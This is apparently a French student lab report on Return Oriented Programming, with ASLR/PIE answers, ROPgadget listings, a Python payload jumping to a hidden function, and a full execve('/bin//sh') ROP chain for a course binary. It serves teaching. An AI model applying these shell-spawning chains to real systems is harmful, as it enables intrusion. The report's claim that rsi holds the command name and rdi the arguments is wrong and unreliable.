TP OS430 N°3 - ROP

ROUGÉ Jean | SONKO Mohamet

Exercice 2 : 'ROP for Dummies'

1) `When a binary is compiled without the PIE option, which in-memory sections are notaffected by the ASLR?`

Lorsque le binaire est compilé avec *l'ASLR* sans l'option *PIE*, alors les **instructions**, ainsi que les **données** du binaire, ne **seront pas affectées** et donc ne seront pas randomiser.

2) `randomize_va_space`

La commande `echo 2 > /proc/sys/kernel/randomize_va_space` a pour effet d'activer l'ASLR et donc randomiser les positions en mémoire de la stack, l'objet partagé dynamique virtuel, les segments de mémoire partagée (comme pour l'option **1**) ainsi que les segments de données (option **2**). Cette option est par ailleurs normalement activée par défaut.

3) `padding`

Toujours le même bug que les TPs précédents, cette fois-ci le padding est de 24 octets.

4) `Return Oriented Programming`

La méthode ***ROP*** consiste au détournement de la pile d'exécution afin de détourner le flux de contrôle du programme et exécuter les instructions machines mineutieusement choisi dans la mémoire du programme. Ces instructions sont appelés gadgets et se terminent tous par `ret`.

Le **"*ROPgadget tool*"** est, d'après le manuel, un outil qui permet de chercher des gadgets dans un binaire, pour ainsi les utiliser et faciliter une attaque ROP.

5) `Use the buffer overflow to make the binary jumping into the hidden function and vali-dating the condition. Write an exploit script in PythonHint: You can use the data section`

Trouver l'adresse de la chaine "*RoPchain*" :

```
$ ROPgadget --binary vuln --string "RoPchain"
Strings information
============================================================
0x0000000000487b68 : RoPchain
```

Mettre l'adresse dans le registre *rdi* :

```
ROPgadget --binary vuln --only "pop|ret" --depth 2 | grep pop
0x000000000043160d : pop rax ; ret
```

```
0x00000000004005a3 : pop rbp ; ret
0x0000000000405600 : pop rbx ; ret
0x00000000004a3600 : pop rbx ; ret 0x6f9
0x00000000004ac267 : pop rcx ; ret
0x00000000004015bb : pop rdi ; ret
0x0000000000432e85 : pop rdx ; ret
0x00000000004016d7 : pop rsi ; ret
0x00000000004003f3 : pop rsp ; ret
0x00000000004b28bc : pop rsp ; ret 0
0x0000000000433f65 : pop rsp ; ret 0x48
```

On veut donc construire notre exploitation de cette manière:

padding	gadget	string	&valide_ex
A*24	0x00000000004015bb	0x0000000000487b68	0x0000000000400f8e

```python
#!/usr/bin/python
from struct import pack

payload = 'A'*24
payload += pack('<Q', 0x00000000004015bb)
payload += pack('<Q', 0x0000000000487b68)
payload += pack('<Q', 0x0000000000400f8e)

print payload
```

Exercice 3 : 'Return Oriented Programming'

1) `Remind the main general purpose registers involved during a 64 bits execve syscall.`

Issue du CR de la séance de TP n°1 (Exercice 3-3) :

> x64:
>
> `rax` contient le numéro du syscall à effectuer (ici 59)
> `rsi` contient un pointeur vers le nom de la commande
> `rdi` conteint la liste des arguments (terminé par NULL)
> `rdx` contient des options (ici NULL)

2) `Exploit the security flaw to make the binary open a shell. Write an exploit script inPython. You can use the Pwntools library.`

On génrère automatiquement la *ropchain* :

```
$ ROPgadget --binary ./vuln --ropchain
```

On modifie un peu cette *payload* car elle est trop longue à notre goût :

```
#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = 'A'*264

p += pack('<Q', 0x00000000004016a7) # pop rsi ; ret
p += pack('<Q', 0x00000000006b41c0) # @ .data
p += pack('<Q', 0x000000000043167d) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000045f661) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004016a7) # pop rsi ; ret
p += pack('<Q', 0x00000000006b41c8) # @ .data + 8
p += pack('<Q', 0x000000000041918f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045f661) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040158b) # pop rdi ; ret
p += pack('<Q', 0x00000000006b41c0) # @ .data
p += pack('<Q', 0x00000000004016a7) # pop rsi ; ret
p += pack('<Q', 0x00000000006b41c8) # @ .data + 8
p += pack('<Q', 0x0000000000432ef5) # pop rdx ; ret
p += pack('<Q', 0x0000000000000000) #  NULL
p += pack('<Q', 0x000000000043167d) # pop rax ; ret
p += pack('<Q', 59) # 59
p += pack('<Q', 0x00000000004003e7) # syscall

print p
```

Important ⚠️

Pour que l'on puisse avoir l'interraction avec le shell il faut le '-' a la fin du *cat* :
`cat input - | ./vuln`

3) `Explain how compiling with the PIE option complicates the implementation of a Return Oriented Programming attack. What would be the condition to set up such an attack in case the binary is compiled as a PIE?`

L'implémentation de l'option *PIE* lors de la compilation complique les attaques de type ROP. En effet, comme mentionné plus haut *(Q.2-1)*, les **données** ainsi que les **instructions** (notamment l'adresse de début de ces parties) sont elles aussi **randomiser**. L'implémentation, comme effectué précédemment, se basant sur ces sections étant fixes dans le programme, **celle-ci ne pourra donc pas fonctionner**.
Néanmoins, dans le cadre de notre TP, bien que ces sections soient postionnées aléatoirement dans le programme, nous pouvons supposés que **l'offset séparant les différents éléments de la section est identique**. En utilisant de bons gadgets bien précis, nous pourrions retrouver l'adresse effective de la section mémoire accéder et la comparer avec l'adresse prévue à l'initiale (celle sans PIE) pour ainsi trouvé l'offset et continué l'exploitation ROP.

Exercice 4 : 'Hardened Binary PIE' 😈

We're the analyst this time ! Let's exploit the binary !

Ce binaire a été compilé avec l'option *PIE*. Il nous faut donc obtenir une adresse que nous connaîtrions pour avoir les bonnes adresses de nos gadgets. Fort heureusement, le programme affiche deux adresses avant de nous demander d'entrer une chaine de charactères. Ces adresses ce trouvent être celle du programme principal est de la libc. On peut donc prendre notre payload précédent, trouver les offsets entre les adresses qui sont fournies et nos gadgets, puis reconstruire notre payload au moment de l'exécution en ajoutant les offsets au adresses de base récupérées. En réalité, nous n'allons pas faire ça manuellement, mais plutôt nous servir de la librairie ***pwntools*** pour générer cette payload automatiquement, *at runtime*.
La fonction `recvline()` de *pwntool* permettra de lire les deux adresses envoyées par le programme. Ensuite, on peut spécifier les adresses de base de notre binaire et de la libc en modifiant `elf.address` et `libc.address`.

Malheureusement, nous n'avons pas eu le temps de tester. Nous n'avons donc pas de script à fournir.

Voici un blueprint de ce que nous aurions voulu réaliser si nous avions eu le temps :

```
p = process(./vuln)
elf = pwnlib.elf.ELF(vuln)
p.recvline()
libc.adress = p.recvline().to_int()
elf.adress = p.recvline().to_int()
shellcode = create_ropchain(elf,libc)
padding = xxx * 'A'
input = padding + shellcode
p.sendline(input)
```

Ressources (supplémentaires) utilisées

`pwntools_install.pdf` : link

`Lab 3: Assembly and Buffer Overflow` : link

`N° Syscall` : link

`gets() et null byte en input` : link